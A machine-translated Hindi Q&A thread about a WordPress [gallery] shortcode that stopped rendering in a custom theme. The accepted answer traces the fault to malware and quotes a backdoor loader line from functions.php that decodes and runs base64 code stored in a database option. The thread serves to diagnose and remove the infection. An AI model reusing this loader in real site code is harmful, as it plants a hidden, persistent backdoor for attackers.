2015-07-07 8 views
10

सब कुछ ठीक था, हाल के अपडेट तक। [gallery] अब छवियां नहीं दिखा रहा है, और ऐसा लगता है कि यह कोड में निहित नहीं है।कस्टम वर्डप्रेस [गैलरी] कस्टम थीम में प्रदर्शित नहीं हो रहा है

यहाँ पेज के लिए पाश है:

the_content से
<?php 
    // Start the loop. 
    while (have_posts()) : the_post();?> 
     <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article"> 
      <h1 class="entry-title"><?php the_title(); ?></h1> 
       <div class="entry-content"> 
        <?php the_content(); ?> 
       </div><!-- .entry-content --> 
     </article><!-- #post-<?php the_ID(); ?> --> 
<?php 
    // End the loop. 
    endwhile; 
?> 

पाठ सामग्री को दिखा रहा है, लेकिन [गैलरी] है, जो सामग्री में है, और न ही दिखा कोड में प्रस्तुत करना नहीं है (ताकि समस्या में नहीं होना चाहिए जावास्क्रिप्ट)। http://pastebin.com/vfJpphgt (गैलरी के लिए हाँ, मैं जोड़ लिया है विषय समर्थन लेकिन कोई परिवर्तन नहीं)

+0

क्या यह सामग्री फ़िल्टर को हटाने से संभव है काम से शोर्ट को रोक रहा है? Functions.php –

+0

में लाइन 45 अगर आप "The_content" के बाद यह काम करता है? –

+0

@ स्कॉट एंडरसन 1.) सामग्री फ़िल्टर -> कोई बदलाव नहीं 2.) do_shortcode काम नहीं कर रहा है, पेज में कोई गैलरी आउटपुट नहीं है। संपर्क फ़ॉर्म आदि जैसे अन्य शॉर्टकोड ठीक काम कर रहे हैं, इसलिए मुझे नहीं लगता कि यह आमतौर पर शॉर्टकोड की समस्या है –

उत्तर

1

तुम हो साइट हैक कर ली है।

pastebin की अंतिम पंक्ति अपने डेटाबेस की दुर्भावनापूर्ण कोड लोड कर रहा है: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

निष्पादित कोड इच्छा गंदगी अपनी गैलरी मीडिया फ़ाइलों को पुन: प्राप्त करने के लिए WPQuery। यही कारण है कि [gallery] टूट गया है। (वास्तव में आप उस भाग के बारे में भाग्यशाली हो सकते हैं।)

आप इस मैलवेयर के बारे में sucuri.net पर एक प्रविष्टि पा सकते हैं। आपको संदिग्ध रेखा के लिए सर्वर पर अपनी सभी फाइलों को जांचना चाहिए। यद्यपि हमले का सबसे संभावित मार्ग वर्डप्रेस भेद्यता के माध्यम से होता है, आपको वर्डप्रेस और सर्वर पर अपने सभी पासवर्ड बदलना चाहिए।

मैलवेयर हटाने के बाद, आप Wordfence जैसे टूल के साथ अपने वर्डप्रेस को साफ़ कर सकते हैं (मुझे प्लगइन या उसके लेखकों से कोई संबद्धता नहीं है)।

+0

महोदय, आप एक सच्चे गुरु हैं! यह एक सम्मोहन की तरह काम करता है! बहुत धन्यवाद! –

+0

डब्ल्यूपी भेद्यता के लिए एक फिक्स दुर्भावनापूर्ण कोड प्राप्त करने के लिए सबसे अधिक इस्तेमाल किया गया था [आज जारी किया गया] (https://wordpress.org/news/2015/08/wordpress-4-2-4-security-and-maintenance- जारी /)। – mrgrain

-1

आप कंसोल में किसी भी जावास्क्रिप्ट त्रुटियों देख पा रहे हैं:

और यहाँ functions.php फ़ाइल है? और क्या की, प्लगइन नेक्स्टजेन गैलरी स्थापित गैलरी छवियों को जोड़ने, और मुख पृष्ठ पर प्रदर्शित करने के लिए प्रयास करने के लिए

<?php echo do_shortcode('[gallery]');?> 
+3

यह – SaganTheBest

+0

के उत्तर के बजाय टिप्पणी के रूप में बेहतर दिखता है क्योंकि मेरे पास 50 से नीचे प्रतिष्ठा है, मैं सीधे प्रश्न पर टिप्पणी करने में असमर्थ हूं। – atinder

1

कोशिश उत्पादन,

https://wordpress.org/plugins/nextgen-gallery/ 
+0

आपके उत्तर के लिए धन्यवाद, दुर्भाग्य से, मुझे एक और गैलरी प्लगइन जोड़ने के लिए मूल गैलरी शोर्ट को ठीक करने की आवश्यकता है। –

संबंधित मुद्दे